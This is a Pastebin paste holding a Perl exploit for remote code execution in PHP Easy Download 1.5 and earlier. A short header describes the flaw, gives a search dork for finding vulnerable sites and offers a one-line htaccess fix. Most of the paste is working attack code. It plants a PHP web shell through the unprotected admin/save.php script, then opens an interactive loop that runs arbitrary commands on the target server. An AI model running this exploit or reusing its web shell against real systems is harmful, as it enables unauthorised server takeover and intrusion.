3xploit3r

PHP Easy Downloader RCE

Aug 16th, 2016
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.13 KB | None | 0 0
  1. ,------. ,--. ,-----. ,--.
  2. | .-. \ ,---. ,--,--. ,-| | ,---. ' .-. ',--.,--.| |
  3. | | \ :| .-. :' ,-. |' .-. |( .-' | | | || || || |
  4. | '--' /\ --.\ '-' |\ `-' |.-' `)' '-' '' '' '| |
  5. `-------' `----' `--`--' `---' `----' `-----' `----' `--'
  6. --------------------dead-s0ul@hotmail.com-------------------
  7.  
  8. #!/usr/bin/perl
  9. # +-------------------------------------------------------------------------------------------
  10. # + PHP Easy Download <= 1.5 Remote Code Execution Vulnerability
  11. # +-------------------------------------------------------------------------------------------
  12. # + Affected Software .: PHP Easy Download <= 1.5
  13. # + Vendor ............: http://www.ironclad.net/
  14. # + Download ..........: http://ironclad.net/scripts/PHP_Easy_Download.zip
  15. # + Description .......: "PHP Easy Download is an easy to use and convenient download script"
  16. # + Dork ..............: "PHP Easy Downloader"
  17. # + Class .............: Remote Code Execution
  18. # + Risk ..............: High (Remote Code Execution)
  19. # + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
  20. # +-------------------------------------------------------------------------------------------
  21. # + Details:
  22. # + PHP Easy Download by default installation doesn't prevent any of the files in the
  23. # + file_info/admin directory from being accessed by a client. The file_info/admin/save.php
  24. # + file takes input passed to the script by $_POST and writes it to $_POST["filename"].0
  25. # + unsanatized in the file_info/admin/descriptions directory.
  26. # +
  27. # + Vulnerable Code:
  28. # + file_info/admin/save.php, line(s) 14-36:
  29. # + -> 14: $filename = $_POST["filename"];
  30. # + -> 15: $description = $_POST["description"];
  31. # + -> 20: $path = "../descriptions/$filename.0";
  32. # + -> 30: $content = "$accesses|$description|$moreinfo|$date";
  33. # + -> 34: $newfile = fopen($path,"w");
  34. # + -> 35: fwrite($newfile, $content);
  35. # + -> 36: fclose($newfile);
  36. # +
  37. # + Solution:
  38. # + Prevent users from accessing any of the files in the file_info directory (htaccess).
  39. # +-------------------------------------------------------------------------------------------
  40.  
  41. use Getopt::Long;
  42. use URI::Escape;
  43. use IO::Socket;
  44.  
  45. $code = "<?php passthru(\$_GET[cmd]); ?>";
  46.  
  47. main();
  48.  
  49. sub usage
  50. {
  51. print "\nPHP Easy Download <= 1.5 Remote Code Execution Exploit\n";
  52. print "-h, --host\ttarget host\t(example.com)\n";
  53. print "-f, --file\tshell file\t(shell.php)\n";
  54. print "-d, --dir\tinstall dir\t(/file_info)\n";
  55. exit;
  56. }
  57.  
  58. sub main
  59. {
  60. GetOptions ('h|host=s' => \$host,'f|file=s' => \$file,'d|dir=s' => \$dir);
  61. usage() unless $host;
  62.  
  63. $dir = "/file_info" unless $dir;
  64. $file = "shell.php" unless $file;
  65. uri_escape($cmd);
  66. $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
  67. or die "\nconnect() failed.\n";
  68.  
  69. print "\nconnected to ".$host.", sending data.\n";
  70. $sendurl = "description=0&moreinfo=".$code."&accesses=0&filename=".$file."&date=&B1=Submit";
  71. $sendlen = length($sendurl);
  72. print $sock "POST ".$dir."/admin/save.php HTTP/1.1\n";
  73. print $sock "Host: ".$host."\n";
  74. print $sock "Connection: close\n";
  75. print $sock "Content-Type: application/x-www-form-urlencoded\n";
  76. print $sock "Content-Length: ".$sendlen."\n\n";
  77. print $sock $sendurl;
  78. print "attempted to create php shell, server response:\n\n";
  79. while($recvd = <$sock>)
  80. {
  81. print " ".$recvd."";
  82. }
  83.  
  84. while($cmd !~ "~quit")
  85. {
  86. print "\n\n-> ";
  87. $cmd = <STDIN>;
  88. if ($cmd !~ "~quit")
  89. {
  90. $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
  91. or die "connect() failed.\n";
  92. $sendurl = uri_escape($cmd);
  93.  
  94. print $sock "GET ".$dir."/descriptions/".$file.".0?cmd=".$sendurl." HTTP/1.1\n";
  95. print $sock "Host: ".$host."\n";
  96. print $sock "Accept: */*\n";
  97. print $sock "Connection: close\n\n";
  98. print "\n";
  99.  
  100. while($recvd = <$sock>)
  101. {
  102. print $recvd;
  103. }
  104. }
  105. }
  106. exit;
  107. }
Add Comment
Please, Sign In to add comment